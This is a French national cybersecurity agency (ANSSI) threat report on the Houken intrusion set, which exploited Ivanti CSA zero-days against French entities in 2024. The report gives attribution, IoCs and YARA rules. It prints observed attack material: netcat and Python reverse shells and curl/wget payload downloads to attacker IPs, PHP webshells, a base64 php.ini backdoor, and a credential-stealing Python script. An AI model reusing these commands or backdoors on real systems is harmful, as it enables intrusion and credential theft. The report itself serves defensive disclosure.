RÉPUBLIQUE
FRANÇAISE
Liberté
Égalité
Fraternité

Date: July 1, 2025
Version: 1.0
Number of pages: 22

HOUKEN

SEEKING A PATH BY LIVING ON THE EDGE WITH ZERO-DAYS

TLP:CLEAR

PAP:CLEAR

Contents

1 KEY POINTS

In September 2024, ANSSI observed an attack campaign seeking initial access to French entities' networks through the exploitation of several zero-day vulnerabilities on Ivanti Cloud Service Appliance (CSA) devices. French organizations from governmental, telecommunications, media, finance, and transport sectors were impacted.

ANSSI's investigations led to the conclusion that a unique intrusion set was leveraged to conduct this attack campaign. The Agency named this intrusion set "Houken".

Moderately sophisticated, Houken can be characterized by an ambivalent use of resources. While its operators use zero-day vulnerabilities and a sophisticated rootkit, they also leverage a wide number of open-source tools mostly crafted by Chinese-speaking developers. Houken's attack infrastructure is made up of diverse elements - including commercial VPNs and dedicated servers.

ANSSI suspects that the Houken intrusion set is operated by the same threat actor as the intrusion set previously described by MANDIANT as UNC5174. Since 2023, Houken is likely used by an access broker to gain a foothold on targeted systems, which could eventually be sold to entities interested in carrying out deeper post-exploitation activities. Though already documented for its opportunistic exploitation of vulnerabilities on edge devices, the use of zero-days by a threat actor linked to UNC5174 is new to ANSSI's knowledge.

The operators behind the UNC5174 and Houken intrusion sets are likely primarily looking for valuable initial accesses to sell to a state-linked actor seeking insightful intelligence. However, ANSSI also observed one case of data exfiltration as well as an interest in the deployment of cryptominers, indicating straight-forward profit-driven objectives.

2 SEPTEMBER 2024 IVANTI CSA VULNERABILITIES EXPLOITATION CAMPAIGN

2.1 The attack campaign in a nutshell

At the beginning of September 2024, an attacker repeatedly exploited vulnerabilities CVE-2024-8190, CVE-2024-8963, and CVE-2024-9380 vulnerabilities to remotely execute arbitrary code on vulnerable Ivanti Cloud Service Appliance devices [1, 2, 3, 4]. These vulnerabilities were exploited as zero-days, before the publication of the Ivanti security advisory [5, 6, 7].

The attacker opportunistically chained these vulnerabilities to gain initial access on Ivanti CSA appliances, with the intention of:

- Obtaining credentials through the execution of a base64 encoded Python script[1].
- Ensuring persistence, by:
  - deploying or creating PHP webshells;
  - modifying existing PHP scripts to add webshells capabilities;
  - occasionally installing a kernel module which acts as a rootkit once loaded.

Likely in an effort to prevent exploitation by additional unrelated actors, the attacker attempted to self-patch web resources affected by the vulnerabilities.

On occasions, and after establishing a foothold on victim networks through the compromise of Ivanti CSA devices, the attacker performed reconnaissance activities and moved laterally. In-depth compromises allowed the attacker to gather additional credentials and deploy further persistence mechanisms. **Most recent activities around this attack campaign were observed at the end of November 2024 by ANSSI.**

2.2 Incidents in France

Several incidents affecting French entities, and linked to this attack campaign, were observed by ANSSI at the end of 2024. The campaign targeted french organizations from governmental, telecommunications, media, finance, and transport sectors.

In three cases, the compromise of Ivanti CSA devices was followed by lateral movements toward the victims' internal information systems. The malicious actor also collected credentials and attempted to establish a persistence on these compromised networks. Attacker's operational activities time zone was UTC+8, which aligns with China Standard Time (CST).

ANSSI provided significant support to these entities, assisting in the conduct of forensic analysis and corrective actions regarding these incidents.

[1] The Python script decrypts the encrypted `admin` password from local PostgreSQl database through several steps (see Appendix A.2).

3 INTRODUCING HOUKEN

The Houken intrusion set was defined to describe the opportunistic exploitation of the critical vulnerabilities, listed in 2.1, as zero-days in September 2024. The exploitation's main purpose was likely to obtain initial accesses. In some cases, successful discovery activities and lateral movements, including compromise of F5 BIG-IP devices, allowed Houken operators to gather additional credentials and deploy further persistence mechanisms.

3.1 Attack infrastructure

The attack infrastructure of the Houken intrusion set was composed of diverse elements, including IP addresses from:

- popular and publicly accessible anonymisation services;
- dedicated servers;
- Internet service providers (ISPs);
- Cloud service providers.

3.1.1 The use of anonymisation services

In a plausible effort to conceal the origin of their malicious activities, operators of the Houken intrusion set leveraged popular anonymisation services. In a limited number of cases, Tor exit nodes were observed. Commercial VPN services, such as NordVPN or ExpressVPN, were also employed by the attacker to compromise vulnerable Ivanti CSA instances:

Table 1: List of commercial VPN services observed.

Commercial VPN service	Occurrences
ExpressVPN	6
NordVPN	4
Proton VPN	4
Deeper Network VPN	2
Surfshark VPN	1
IVPN	1

Most of the interactions with PHP webshells deployed on compromised appliances also originated from notorious VPN services. Furthermore, the operators of the intrusion set appeared to have used the same NordVPN session to compromise two victims: one NordVPN IP address was observed in two incidents handled by ANSSI on September 14, 2024.

3.1.2 Dedicated servers set-up

Dedicated servers, mainly virtual private servers (VPS) hosted by HOSTHATCH[2], were part of the attack infrastructure of the Houken intrusion set. In addition to their use for vulnerability exploitation attempts, some VPS were also configured as command and control (C2) servers for specific tools deployed within victims' environments. For instance, `107.173.111.26` and `195.133.52.87`, respectively VPS hosted by ColoCrossing[3] and JVPS.hosting[4], were set up as C2 servers for two GOREVERSE payloads found in distinct incidents (see 3.2.1). Over time, both IP addresses have exposed TLS certificates related to this publicly available reverse shell backdoor.

In order to create basic reverse shells, some dedicated servers were contacted through Netcat or a TCP socket created with Python.

```
/bin/nc 45.33.101.53 443 -e /bin/bash
```

Listing 1: Example of a reverse shell established with `45.33.101.53` over port 443/TCP using Netcat.

```
sudo /bin/python -c import socket,subprocess,os;s=socket.socket(socket.
   AF_INET,socket.SOCK_STREAM);s.connect(("156.234.193.18",443));os.dup2(s
   .fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess
   .call(["/bin/bash","-i"]);
```

Listing 2: Example of a reverse shell established with `156.234.193.18` over port 443/TCP using Python.

Some controlled servers were also configured to host additional tools. These tools might have been downloaded by the attacker from compromised equipment.

```
curl http://198.98.54.209/a.sh -o /dev/shm/a.sh
sudo wget -O /tmp/c.tar.gz 156.234.193.18:9999/c.tar.gz
```

Listing 3: Example of bash commands executed to download supplementary tools.

The attacker also tried to connect to VPS using SSH.

```
ssh root@134.195.90.71 -p 23
```

Listing 4: Example of a connection attempt to a VPS through SSH.

3.1.3 Malicious activities from residential or mobile IP addresses

Interestingly, some of the attacker's malicious network activities originated from residential or mobile IP addresses:

[2] https://hosthatch.com/
[3] https://www.colocrossing.com/
[4] https://jvps.hosting/

Table 2: List of ISPs observed.

ISP	Localisation	Occurrences
China Unicom	CN	5
Muscatine Power and Water (MPW)	US	1
China Telecom Corporation Limited	CN	1
Comcast	US	1
MTS	RU	1
M/s. Rainbow D Net	BD	1
RailTel	IN	1
Airtel	IN	1

Beware, the use of residential proxy provider services could lead to the observation of ISPs' IP addresses.

3.1.4 Reusing infrastructure

During the September 2024 Ivanti CSA vulnerabilities exploitation campaign, the Houken intrusion set was identifiable through network artifacts. ANSSI's incidents response and public reports revealed that the same IP addresses had been used to reach the network of different victims:

Table 3: Example of IP addresses reuse.

IP address	Public report	Occurrences
23.236.66.97	CISA [3], FORTINET [2]	3
134.195.90.71	CISA [3]	2
64.176.49.160	CISA [3]	2
156.234.193.18	CISA [3], FORTINET [2]	1

3.2 Tooling

On the victims' network of the September 2024 campaign, Houken operators used multiple types of tool:

- numerous open-source tools available on GitHub - including webshells, mostly crafted by Chinese-speaking developers;
- handcrafted webshells;
- a kernel module and a user-space binary acting as a rootkit.

3.2.1 Publicly available offensive tools

While investigating the compromises, ANSSI noticed the significant leveraging of tools publicly available on GitHub (see Appendix A.3 for a full list).

On some of the compromised Ivanti CSA appliances investigated, webshells related to the open-source tool Neo-reGeorg[5] or generated *via* the Behinder ("Ice Scorpion")[6] webshell framework were found.

To ensure persistence after lateral movements, Houken operators notably deployed the following GOREVERSE[7] payloads:

Table 4: List of GOREVERSE payloads found.

Filename	SHA1	C2
init	ebe6068e2161fe359a63007f9febea00399d7ef3	107.173.111.26:443
linw	0fdfa56e6edfe46c1e4aa8d61d6e51eb6c9a2911	195.133.52.87:80

The first sample listed above is described by SENTINELLABS in a blogpost published in June 2025 [9].

In one case, the attacker uploaded on an internet-facing Microsoft Exchange Server a file named `OutlookEN.aspx`.

Table 5: `OutlookEN.aspx` SHA1.

Filename	SHA1
OutlookEN.aspx	93826ee6939d6a539f56fb8fd5f90adc088f6531

As explained by SYNACKTIV in their blogpost regarding the attack campaign, `OutlookEN.aspx` corresponds to the HTTP proxy tunnel tool called suo5 [10]. The `OutlookEN.aspx` sample investigated by ANSSI corresponds to the default suo5 remote script dedicated to web servers running the ASP.NET framework[8]. As with other suo5 remote scripts available on GitHub, `OutlookEN.aspx` was expecting the following unusual User-Agent:

Listing 5: User-Agent expected by `OutlookEN.aspx`.

```
Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36
   (KHTML, like Gecko) Chrome/109.1.2.3
```

[5] https://github.com/L-codes/Neo-reGeorg

[6] https://github.com/rebeyond/Behinder. As mentioned by HarfangLab's Cyber Threat Research Team in their publication about this attack campaign, extracted versions of Behinder can be found on GitHub (e.g., https://github.com/safe6Sec/ShellManageTool/blob/master/BehinderClientSource/server/shell.php and https://github.com/zhaoyumi/WeaverExploit_All/blob/main/shell.php) [4].

[7] GOREVERSE is the name given by Google Threat Intelligence Group to a reverse shell backdoor written in GoLang. This tool is publicly available on GitHub: https://github.com/NHAS/reverse_ssh [8].

[8] https://github.com/zema1/suo5/blob/main/assets/.net/suo5.aspx

OutlookEN.aspx

The filename `OutlookEN.aspx` is uncommon. It was mostly used in 2021 by Hafnium (renamed Silk Typhoon by MICROSOFT) operators to deploy the ChinaChopper webshell on Microsoft Exchange Server instances compromised through the ProxyLogon exploit chain (linked to the vulnerability CVE-2021-26855) [11]. While rare, the use of the `OutlookEN.aspx` filename is not evidence enough to link Houken to the Hafnium intrusion set.

Using the command-line tools `curl` and `ping`, Houken operators attempted to connect to domain names related to out-of-band application security testing (OAST) tools[9] such as Eyes.sh[10] or Interactsh[11].

Table 6: List of OAST services domain names observed.

Domain	Seen on	OAST tool
t2.oyr2ohrm.eyes.sh	2024-09-09	Eyes.sh
diz13fxc4xv3rouku4iso0w8gzm3azyo.oastify.com	2024-09-11	Burp Collaborator
cm207e1b8wz2vnyjy3mrsz07kyq1eu2j.oastify.com	2024-09-11	Burp Collaborator
pa3bmjfpxky9epvjrem9oe8njep5da1z.oastify.com	2024-09-11	Burp Collaborator
exf0982ek9ly1ei8e39yb3vc63cu0uoj.oastify.com	2024-09-11	Burp Collaborator
pqjb2jvpdke9upbj7e294eonze55t4ht.oastify.com	2024-09-11	Burp Collaborator
knb6zeskafb4rk8e49z419liw920quej.oastify.com	2024-09-11	Burp Collaborator
crn441nrg951c04tvl9063tumw7d181s3.oast.fun	2024-09-21	Interactsh
crn441nrg951c04tvl90fkpd9qx1h9kpd.oast.fun	2024-09-21	Interactsh
cs338e7rg955i1bu8v4gbf15njixdj79r.oast.online	2024-10-09	Interactsh
cs338e7rg955i1bu8v4gbey9x13b55rt5.oast.online	2024-10-10	Interactsh
cs338e7rg955i1bu8v4g4pc1st3zgnijs.oast.online	2024-10-11	Interactsh

CISA also noticed connection attempts to subdomains of `oyr2ohrm.eyes.sh`, which is exclusive to a single user of Eyes.sh [3].

3.2.2 The creation of PHP webshells

Several PHP webshells were created by exploiting vulnerabilities on the compromised Ivanti CSA instances[12]. Common straightforward webshells were found, often with the same filename on the same path.

Listing 6: Command line executed using CVE-2024-9380 to create `/rc/help.php`.

```
echo "<?php system('/bin/sudo '. @\$_REQUEST['a']);" > /opt/landesk/broker
   /webroot/rc/help.php
```

[9] OAST tools particularly provide an efficient way to confirm that outbound requests are permitted from a vulnerable system.
[10] https://github.com/lijiejie/eyes.sh
[11] https://github.com/projectdiscovery/interactsh
[12] See Appendix A.4 for a full list of webshells.

Most of the common basic PHP webshells are similar to the previously introduced webshells `/rc/help.php` (e.g., `/client/rcc.php` and`/gsb/help.php`). For a few of them, the expected PHP request variable name differs.

Listing 7: Content of `/gsb/hsh.php`.

```
<?php system('/bin/sudo '. @$_REQUEST['jhc']);
```

Moreover, as previously mentioned (see 3.2.1), some webshells relate to publicly available webshells. For instance, `/gsb/client.php` is a webshell related to the open-source tool Neo-reGeorg, whereas `/client/LDSupport.php` was likely generated using the Behinder ("Ice Scorpion") webshell framework.

Surprisingly, and in a plausible effort for discretion, Houken operators might have altered webshells file time attributes:

Listing 8: Command line executed using CVE-2024-9380 to modify file time attribute of `/gsb/rss.php` after creating it.

```
echo "<?php system('/bin/sudo '. @\$_REQUEST['a']);" > /opt/landesk/broker
   /webroot/gsb/rss.php;sudo touch -m -d '2021-06-15 22:48:51' /opt/
   landesk/broker/webroot/gsb/rss.php;
```

3.2.3 The modification of legitimate PHP scripts

In addition, intrusion set operators appended PHP code to legitimate resources in order to add webshell capabilities. For instance, code was added to `/etc/php.ini` to allow the attacker to execute the content of the PHP request variable `justatest`, no matter which page was contacted:

Listing 9: Code appended to `/etc/php.ini`.

```
allow_url_include = On
auto_prepend_file = "data:;base64,
   PD9waHAgQGV2YWwoJF9SRVFVRVNUW2p1c3RhdGVzdF0pOyA/Pg=="
```

Listing 10: `PD9waHAgQGV2YWwoJF9SRVFVRVNUW2p1c3RhdGVzdF0pOyA/Pg==` Base64 decoded.

```
<?php @eval($_REQUEST[justatest]); ?>
```

In another incident, Houken operators modified the content of `/client/index.php` and `/gsb/style.php` PHP scripts to append the following code:

Listing 11: PHP code added to `/client/index.php` and `/gsb/style.php`.

```
eval($_POST["mbd0w6ld1aq2g877oe1xpbscfskld55d"]);
```

3.2.4 Rootkit

In one incident targeting an entity of the French defense sector, Houken operators deployed a previously unobserved rootkit on an internet-facing Ivanti CSA appliance. This rootkit was publicly described by the FortiGuard Labs Threat Research from FORTINET [2, 12]. It is composed of a kernel module (`sysinitd.ko`) and a user-space executable file (`sysinitd`) installed on the targeted device through the execution of a shell script: `install.sh`.

By hijacking inbound TCP traffic over all ports, and invoking shells, `sysinitd.ko` and `sysinitd` allow the remote execution of any command with root privileges. This rootkit includes an interesting process manager illustrating the relatively good level of sophistication and the effectiveness of this additional persistence mechanism.

Two YARA rules in appendices can help to detect this rootkit (see A.5).

Table 7: Rootkit elements SHA1.

Filename	SHA1
sysinitd.ko	c8282e5909e756db15159787fb4e86e6641c6e8e
sysinitd	6b3a4feb5efe7ad96441667f7b013b1fd93dadca

Comment: a rootkit enables strong persistence on the victim's network. Given the nature of this intrusion set (see 4.2), the use of such malware might indicate that the target is considered as valuable for the attacker. Given its technical characteristics (TCP hijacking), this rootkit might only be used to obtain persistence on direct internet-facing edge devices.

4 PROFILING HOUKEN

4.1 Global characteristics of the Houken intrusion set

Houken is an intrusion set plausibly operated by an initial access broker. The main motivation of its operators is to gain initial accesses through the harvesting of credentials and the deployment of persistence mechanisms.

On the one hand, ANSSI observed noisy and rudimentary actions within victims' environments and the deployment of offensive generic tools - which could indicate restricted resources dedicated to tooling development.

Comment: the leveraging of open-source tools crafted by Chinese-speaking developers seems more common across the Chinese offensive landscape. As such, it could also be a choice of commodity for the attacker.

On the other hand, researching zero-day vulnerabilities and developing rootkits are not trivial activities and suggest that the threat actor may have access to significant resources.

This divergence in terms of skills and resources may reflect a multi-actor approach similar to the one described by HarfangLab's Cyber Threat Research Team [4]. Vulnerabilities and entry point opportunities could be identified and shared by a first actor, while a second actor could be responsible for their industrialised exploitation.

Regarding the infrastructure, some elements - such as the use of multiple commercial VPNs exit nodes or the diversity of dedicated servers - might also indicate that Houken operators rely on another actor's services to acquire some parts of their attack infrastructure. They could also be allowed to use a wide variety of infrastructure for their activities. Moreover, the lack of segmentation in the attack infrastructure may indicates an insufficient consideration for operational security.

Houken targeting range

The threat actor behind Houken has a very broad targeting range. Attackers' targets seem to be prioritized according to the following criteria:

1. Entities located near China especially in southeast Asia (e.g., Thailand, Vietnam, Indonesia) and with a specific focus on governmental and education sectors.
2. Non-Governmental Organizations (NGOs), inside and outside China, including Hong Kong and Macao.
3. Entities based in western countries associated with governmental, defence, education, media or telecommunication sectors.

Comment: these targeting interests seem consistent with the hypothesis of a potential access broker seeking valuable accesses to resell to a state-linked body such as an intelligence service. When compromising entities of interest, Houken operators may increase the time and resources dedicated to the endeavour in order to maintain persistence on targeted systems (see 3.2.4).

4.2 Links with UNC5174

Observed links

Links between Houken and UNC5174, an intrusion set described in open-source publications as a potential access broker for the MSS (Ministry of State Security of the People's Republic of China) by GOOGLE THREAT INTELLIGENCE GROUP (GTIG), were observed [8, 13].

The UNC5174 intrusion set

While initially documented for targeting F5 BIG-IP devices in November 2023, UNC5174 operators remained active in 2024 and exploited several vulnerabilities on appliances such as ConnectWise ScreenConnect (CVE-2024-1709) and PaloAlto (CVE-2024-3400) [13].

In some instances, after the attacker had obtained a foothold on the targeted systems, GTIG observed the leveraging of these accesses by other China-nexus intrusion sets [13]. UNC5174 has been used to target Southeast Asia, Europe and the United States of America with a focus on research and education institutions, charities and NGOs.

According to GTIG, UNC5174 operators may be linked to a threat actor persona named "uteus", formerly active on cybercrime forums. This threat actor may have been part of the pro-China hacktivist group Dawn Calvary [8].

Among others, the following noteworthy elements supported the association of Houken with UNC5174:

1. For one incident where Houken operators exploited a F5 BIG-IP device (through the vulnerability CVE-2023-46747), a local account named `Root6` was created by the threat actor. Such behaviour was described in a previous GTIG publication on UNC5174 [8];
2. For most of the incidents handled by ANSSI, the threat actor was observed self-patching the vulnerability it just exploited, such behaviour was also detailed by GTIG to describe UNC5174 techniques, tactics and procedures (TTPs) [8];
3. Houken operators used open-source tools previously detailed as part of UNC5174 intrusion set such as: GOREVERSE, VShell, fscan or ffuff. These tools are developed by Chinese-speaking developers, documented in Chinese, and seem to be mainly used by threat actors linked to Chinese strategic interests[13] [8];
4. UNC5174 operators previously deployed suo5 webshells using the `OutlookEN.aspx` filename.

UNC5174 and Houken, operated by a common threat actor

Given these similarities, the Houken and UNC5174 intrusion sets seem to be operated by a common threat actor which likely employs offensive capabilities to sell not only footholds on relevant targets, but also valuable data.

[13] For instance, VShell has been developed by a Chinese-speaking developer named "veo" and appears to be sponsored by the Anxing Star Fire Lab (星火实验室) belonging to ANHENG SECURITY, a Chinese cybersecurity firm [14]. Veo crafted and published several codes of its own on GitHub, including VShell. However, in 2024, the developer decided to withdraw VShell code, claiming possible legal issues and the risk of making the code easier to detect due to the increasing number of users.

Regarding access distribution, GOOGLE THREAT INTELLIGENCE GROUP observed transfers of activities to other intrusion sets after UNC5174 operators had obtained a first foothold on targeted systems [13]. Such behaviour could not be confirmed, as ANSSI did not observe any latter intrusion set activity following Houken's initial access. However, ANSSI observed more Houken post-exploitation activities on the victim's networks with a potential value for intelligence-collection purposes.

In March 2025, ANSSI's investigations on Houken attack infrastructure revealed the compromise of an email appliance belonging to the Ministry of Foreign Affairs (MFA) of a South American country. Houken operators exfiltrated a massive amount of emails using parts of a script available on a Chinese written blog. Thus, intelligence collection could be an additional motivation for this threat actor.

Comment: data exfiltration can also be the result of a specific request from a sponsor.

The threat actor also sought direct self-enrichment. Among the French victims of the September 2024 campaign, the installation of a Monero (XMR) cryptocurrency was observed. The cryptominer was downloaded using a PHP webshell created on a compromised Ivanti CSA appliance. This was confirmed by further ANSSI investigations on UNC5174's past activities, which demonstrated an interest in tools related to the Chinese Monero mining platform C3Pool[14]. Nevertheless, the use of cryptominers remains uncommon for this threat actor.

Comment: the threat actor behind the Houken and UNC5174 intrusion sets might correspond to a private entity, selling accesses and worthwhile data to several state-linked bodies while seeking its own interests leading lucrative oriented operations. Such behaviour was already observed for Chinese-linked intrusion sets related to the APT41 galaxy and previously linked to numerous private sector entities [13].

The threat actor behind the Houken and UNC5174 intrusion sets remains active. Both intrusion sets will likely be operated again to target internet-facing equipment, such as endpoint managers or VPN appliances, through worldwide and opportunistic vulnerability exploitation.

In April and May 2025 respectively, the SYSDIG security team and ECLECTICIQ detailed two different attack campaigns taking place between November 2024 and April 2025 [15, 16]. Both firms linked these activities to UNC5174 through the use of the in-memory backdoor VShell dropped by a downloader named SNOWLIGHT by GTIG [8]. However, ANSSI can not confirm the links between the attack campaigns described and the Houken or UNC5174 intrusion sets, as SNOWLIGHT might not be exclusive to UNC5174.

[14] https://c3pool.com

A APPENDICES

A.1 Network indicators of compromise (IoCs)

IoC	First seen	Last seen	Comment
107.173.111.26	2024-09-26	2024-09-26	GOREVERSE C2
195.133.52.87	2024-09-20	2024-09-20	GOREVERSE C2
45.33.101.53	2024-09-05	2024-09-10	VPS contacted using Netcat to establish a reverse shell
156.234.193.18	2024-09-06	2024-09-06	Controlled server contacted to download additional tools and to establish a reverse shell using Python
198.98.54.209	2024-09-09	2024-09-09	Controlled server contacted to download additional tools
156.234.193.18	2024-09-06	2024-09-06	Controlled server contacted to download additional tools
23.236.66.97	2024-09-06	2024-09-12	Vulnerabilities exploitation
134.195.90.71	2024-09-06	2024-09-11	VPS contacted using SSH, SCP and TELNET
64.176.49.160	2024-09-19	2024-10-09	Vulnerabilities exploitation
oyr2ohrm.eyes.sh	2024-09-09	2024-09-09	Connection attempts from compromised equipment

A.2 Base64 decoded Python script executed through CVE-2024-8190

```
import os, re, base64, time
os.chdir("/tmp")
d = "/backups"
def set_msg(p, m=''):
   os.system('''export PGPASSWORD={};echo "update user_info set
      organization='{}' where username='admin'"|psql -d brokerdb -U
      gsbadmin'''.format(p, m))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os
      .path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open("/opt/landesk/broker/broker.conf") as f:
   dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]
   os.system('''export PGPASSWORD={};echo "delete from user_info where
      runas='Nobody'"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))
   os.system('''export PGPASSWORD={};echo "update user_info set attempts
      =0,lockoutalert=0"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))
if r:
   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info
      WHERE username=\\'admin\\' | psql -d brokerdb -U gsbadmin -h
      localhost".format(dbpwd)).read().split("\n")[-4].strip().split(':')
   os.system("tar zxvf {}".format(r))
   while True:
      for f in os.listdir('.'):
         if re.match("php\w{6}", f):
            os.chmod(f, 0o777)
            m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p
               [4], p[5], p[6], p[1], p[1])).read().strip()
            if m:
               set_msg(dbpwd, m)
               time.sleep(30)
               set_msg(dbpwd)
               exit()
else:
   set_msg(dbpwd, 'NO BACKUP')
```

A.3 List of public tools discovered during investigations

The following public tools were observed on the victims' network:

- Network discovery:
  - Nmap - https://nmap.org/;
  - Fscan - https://github.com/shadow1ng/fscan;
  - Netspy - https://github.com/shmilylty/netspy;
  - Nacs - https://github.com/u21h2/nacs;
- Network attack:
  - Ettercap - https://github.com/Ettercap/ettercap;
  - Responder - https://github.com/SpiderLabs/Responder;
- Proxy and tunneling:
  - Iox - https://github.com/EddieIvan01/iox;
  - FRP - https://github.com/fatedier/frp;
  - NPS (NPC) - https://github.com/ehang-io/nps;
  - EarthWorm - https://github.com/rootkiter/EarthWorm;
  - GoHTran - https://github.com/yuxiaokui/gohtran;
  - ReverseSocks5 - https://github.com/Acebond/ReverseSocks5;
  - Suo5 - https://github.com/zema1/suo5;
- Credentials gathering:
  - Searchall - https://github.com/Naturehi666/searchall;
- Backdoors and other persistence mechanisms:
  - GOREVERSE (reverse_ssh) - https://github.com/NHAS/reverse_ssh/;
  - ReverseSSH - https://github.com/Fahrj/reverse-ssh;
  - SparkRAT - https://github.com/XZB-1248/Spark;

A.4 Deployed webshell paths and filenames

Webshells created by the attacker on compromised Ivanti CSA appliances:

/gsb/help.php
/gsb/uSxhmgm.php
/gsb/ZjmgmXsB.php
/rc/help.php
/gsb/activate_response.php
/gsb/vxxm.php
/gsb/lock.php
/client/rcc.php
/client/rss.php
/gsb/1.php
/gsb/hsh.php
/gsb/sitecheck.php
/gsb/blockedcheck.php
/gsb/blockedchecksss.php
/gsb/helpdesk.php
/gsb/yjci.php
/gsb/client.php
/client/RCClient.php
/client/LDSupport.php
/gsb/rasq.php
/gsb/view.php

A.5 YARA rules for the rootkit used by the intrusion set Houken

```
rule Houken_Rootkit_userland_log_file {
	meta:
		description = "Detects log_file used in rootkit."
		author = "ANSSI"
		TLP = "CLEAR"
	strings:
		$a = "/tmp/sys.log" fullword
	condition:
		uint32(0) == 0x464C457F and filesize <100KB and any of them
}
```

```
rule Houken_Rootkit_kernel_strings {
	meta:
		description = "Detects strings in rootkit's kernel component."
		author = "ANSSI"
		TLP = "CLEAR"
	strings:
		$a = "abrtinfo:0" fullword
		$b = "user_program_thread" fullword
		$c = "/usr/share/empty/init" fullword
	condition:
		uint32(0) == 0x464C457F and filesize <100KB and any of them
}
```

B References

[1] CERT-FR. *Exploitations de vulnérabilités dans Ivanti Cloud Services Appliance (CSA)*. October 22, 2024.
URL: https://www.cert.ssi.gouv.fr/alerte/CERTFR-2024-ALE-013/.

[2] Fortinet. *Burning Zero Days: Suspected Nation- State Adversary Targets Ivanti CSA*. October 14, 2024.
URL: https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa.

[3] CISA. *Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications*. January 22, 2025.
URL: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-022a.

[4] HarfangLab. *Further insights into Ivanti CSA 4.6 vulnerabilities exploitation*. February 10, 2025.
URL: https://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/.

[5] Ivanti. *Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)*. September 10, 2024.
URL: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190.

[6] Ivanti. *Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)*. September 19, 2024.
URL: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963.

[7] Ivanti. *Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)*. October 8, 2024.
URL: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381.

[8] Mandiant. *Bringing Access Back —Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect*. March 21, 2024.
URL: https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect.

[9] SentinelLABS. *Follow the Smoke | China-nexus Threat Actors Hammer At the Doors of Top Tier Targets*. June 9, 2025.
URL: https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/.

[10] SYNACKTIV. *Open-source toolset of an Ivanti CSA attacker*. May 12, 2025.
URL: https://www.synacktiv.com/en/publications/open-source-toolset-of-an-ivanti-csa-attacker.

[11] Rapid7. *Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange*. March 23, 2021.
URL: https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/.

[12] Fortinet. *Deep Dive Into a Linux Rootkit Malware | FortiGuard Labs*. Fortinet Blog. January 13, 2025.
URL: https://www.fortinet.com/blog/threat-research/deep-dive-into-a-linux-rootkit-malware.

[13] Google Cloud Blog. *Cybercrime: A Multifaceted National Security Threat*. February 12, 2025.
URL: https://cloud.google.com/blog/topics/threat-intelligence/cybercrime-multifaceted-national-security-threat.

[14] Github. *GitHub - veo/vshell: vshell is a Remote Administration tool written in Go (RAT)*. November 5, 2022.
URL: https://web.archive.org/web/20221105062747/https://github.com/veo/vshell.

[15] Sysdig. *UNC5174' s evolution in China' s ongoing cyber warfare: From SNOWLIGHT to VShell*. April 15, 2025.
URL: https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/.

[16] EclecticIQ. *China-Nexus Nation State Actors Exploit SAP NetWeaver (CVE-2025-31324) to Target Critical Infrastructures*. May 13, 2025.
URL: https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures.

Version: 1.0 – July 1, 2025

AGENCE NATIONALE DE LA SÉCURITÉ DES SYSTÈMES D'INFORMATION

ANSSI – 51, boulevard de la Tour-Maubourg – 75700 PARIS 07 SP
cyber.gouv.fr • cert.ssi.gouv.fr